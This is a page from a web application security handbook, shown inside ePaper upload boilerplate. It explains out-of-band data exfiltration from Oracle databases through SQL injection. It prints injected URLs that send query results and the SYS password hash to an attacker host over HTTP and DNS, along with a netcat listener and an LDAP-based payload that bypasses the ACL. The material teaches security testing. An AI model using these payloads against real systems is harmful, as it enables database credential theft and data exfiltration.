19.09.2017 Views

the-web-application-hackers-handbook

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

318 Chapter 9 n Attacking Data Stores<br />

a database on a highly restricted internal corporate network may be able to<br />

leverage a corporate proxy to initiate outbound connections to <strong>the</strong> Internet.<br />

In <strong>the</strong> following example, UTL_HTTP is used to transmit <strong>the</strong> results of an<br />

injected query to a server controlled by <strong>the</strong> attacker:<br />

/employees.asp?EmpNo=7521’||UTL_HTTP.request(‘mdattacker.net:80/’||<br />

(SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1))--<br />

This URL causes UTL_HTTP to make a GET request for a URL containing <strong>the</strong><br />

first username in <strong>the</strong> table all_users. The attacker can simply set up a netcat<br />

listener on mdattacker.net to receive <strong>the</strong> result:<br />

C:\>nc -nLp 80<br />

GET /SYS HTTP/1.1<br />

Host: mdattacker.net<br />

Connection: close<br />

The UTL_INADDR package is designed to be used to resolve hostnames to IP<br />

addresses. It can be used to generate arbitrary DNS queries to a server controlled<br />

by <strong>the</strong> attacker. In many situations, this is more likely to succeed than<br />

<strong>the</strong> UTL_HTTP attack, because DNS traffic is often allowed out through corporate<br />

firewalls even when HTTP traffic is restricted. The attacker can leverage this<br />

package to perform a lookup on a hostname of his choice, effectively retrieving<br />

arbitrary data by prepending it as a subdomain to a domain name he controls.<br />

For example:<br />

/employees.asp?EmpNo=7521’||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%<br />

20FROM%20DBA_USERS%20WHERE%20NAME=’SYS’)||’.mdattacker.net’)<br />

This results in a DNS query to <strong>the</strong> mdattacker.net name server containing<br />

<strong>the</strong> SYS user’s password hash:<br />

DCB748A5BC5390F2.mdattacker.net<br />

The UTL_SMTP package can be used to send e-mails. This facility can be used<br />

to retrieve large volumes of data captured from <strong>the</strong> database by sending this<br />

in outbound e-mails.<br />

The UTL_TCP package can be used to open arbitrary TCP sockets to send and<br />

receive network data.<br />

NOTE On Oracle 11g, an additional ACL protects many of <strong>the</strong> resources just<br />

described from execution by any arbitrary database user. An easy way around<br />

this is to dip into <strong>the</strong> new functionality provided in Oracle 11g and use this code:<br />

SYS.DBMS_LDAP.INIT((SELECT PASSWORD FROM SYS.USER$ WHERE<br />

NAME=’SYS’)||’.mdsec.net’,80)

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!